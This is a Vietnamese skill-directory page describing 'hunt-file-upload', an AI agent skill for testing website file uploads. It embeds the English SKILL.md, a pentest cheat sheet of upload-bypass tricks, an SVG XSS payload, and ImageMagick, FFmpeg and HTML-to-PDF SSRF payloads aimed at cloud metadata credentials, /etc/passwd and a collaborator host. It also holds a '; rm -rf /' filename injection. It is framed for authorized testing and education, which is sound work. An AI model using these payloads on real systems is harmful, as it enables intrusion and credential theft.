Chuyển đến nội dung
Skillpedia
Bảo mật48k · #4871

hunt-file-upload

Skill này làm gì

Công cụ này giúp tìm lỗ hổng bảo mật trong cách website xử lý tệp do người dùng tải lên. Nó thử nhiều cách khác nhau để đánh lừa website chấp nhận tệp độc hại.

Khi nào nên dùng

  • ✓Khi kiểm thử bảo mật một website.
  • ✓Để kiểm tra xem một website có chấp nhận tệp nguy hiểm không.
  • ✓Để hiểu cách một website bảo vệ trước việc tải tệp độc hại lên.

Liên kết skill

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-file-upload/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-file-upload/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Tôi muốn kiểm thử chức năng tải tệp lên trên example.com. Bạn có thể dùng kỹ thuật nào?”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Công cụ thử gửi các tệp có tên hoặc loại bất thường để xem website có chấp nhận không. Nó cũng có thể dùng các định dạng tệp đánh lừa website, như hình ảnh chứa mã độc.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

9. FILE UPLOAD

Content-Type Bypass

filename=shell.php, Content-Type: image/jpeg  → server trusts Content-Type
filename=shell.phtml, shell.pHp, shell.php5   → extension variants

File Upload Bypass Techniques (10 techniques)

Attack How Prevention
Extension bypass shell.php.jpg, shell.pHp, shell.php5 Allowlist + extract final extension
Null byte shell.php%00.jpg Sanitize null bytes
Double extension shell.jpg.php Only allow single extension
MIME spoof Content-Type: image/jpeg with .php body Validate magic bytes, not MIME header
Magic bytes prefix Prepend GIF89a; to PHP code Parse whole file, not just header
Polyglot Valid as JPEG and PHP Process as image lib, reject if invalid
SVG JavaScript <svg onload="..."> Sanitize SVG or disallow entirely
XXE in DOCX Malicious XML in Office ZIP Disable external entities
ZIP slip ../../../etc/passwd in archive Validate extracted paths
Filename injection ; rm -rf / in filename Sanitize + use UUID names

Magic Bytes Reference

Type Hex
JPEG FF D8 FF
PNG 89 50 4E 47 0D 0A 1A 0A
GIF 47 49 46 38
PDF 25 50 44 46
ZIP/DOCX/XLSX 50 4B 03 04

Stored XSS via SVG

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

ImageMagick / FFmpeg Exploitation

ImageMagick SSRF / File Read (ImageTragick family + modern variants)

# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)
# MVG SSRF payload — fetches internal URL during processing
cat > /tmp/ssrf.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(http://169.254.169.254/latest/meta-data/iam/security-credentials/)'
pop graphic-context
EOF

# SVG SSRF (ImageMagick processes SVG remotely)
cat > /tmp/ssrf.svg << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/>
</svg>
EOF

# WebP/AVIF processing bugs (modern surface — CVE-2023-4863)
# Upload a crafted WebP file targeting libwebp heap overflow
# Use: https://github.com/mistymntncop/CVE-2023-4863 PoC

FFmpeg SSRF via HLS Playlist

# FFmpeg processes m3u8 playlists and fetches referenced segments
cat > /tmp/ssrf.m3u8 << 'EOF'
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://169.254.169.254/latest/meta-data/iam/security-credentials/
#EXT-X-ENDLIST
EOF

# Also works with concat demuxer
cat > /tmp/concat.txt << 'EOF'
ffconcat version 1.0
file 'http://COLLAB_HOST/ffmpeg-ssrf'
EOF

# Test: upload .m3u8 or video file to any video processing endpoint

Headless Chrome / PDF Generator SSRF

HTML → PDF Converter Attacks

# Target: invoice generators, report exporters, screenshot services
# Inject HTML that causes headless Chrome to fetch internal resources

# SSRF via CSS import
PAYLOAD='<html><head><style>@import url("http://169.254.169.254/latest/meta-data/");</style></head><body>test</body></html>'

# SSRF via HTML iframe
PAYLOAD='<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'

# Local file read
PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'

# JavaScript execution (if sandbox not enforced)
PAYLOAD='<html><body><script>

…
Câu hỏi thường gặp

Tại sao tôi cần sự cho phép để dùng công cụ này?

Dùng công cụ này khi không được phép là bất hợp pháp và có hại. Nó được thiết kế cho kiểm thử bảo mật được ủy quyền và mục đích học tập.

Việc “bypass” tải tệp lên là gì?

Đó là kỹ thuật làm cho website chấp nhận một tệp mà bình thường nó sẽ từ chối, bằng cách khai thác điểm yếu trong kiểm tra bảo mật của website.

“Magic bytes” là gì?

Đây là chuỗi byte ở đầu tệp xác định loại tệp thực sự. Công cụ có thể cố đánh lừa website về loại tệp, ngay cả khi 'magic bytes' đúng.

Chi tiết

Mô tả gốc của tác giả

Hunt file upload bugs

repo: sickn33/agentic-awesome-skills

Độ phổ biến

Sao GitHub
48k
Vị trí xếp hạng
#4871
Giấy phép
MIT
Cập nhật
15/10/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự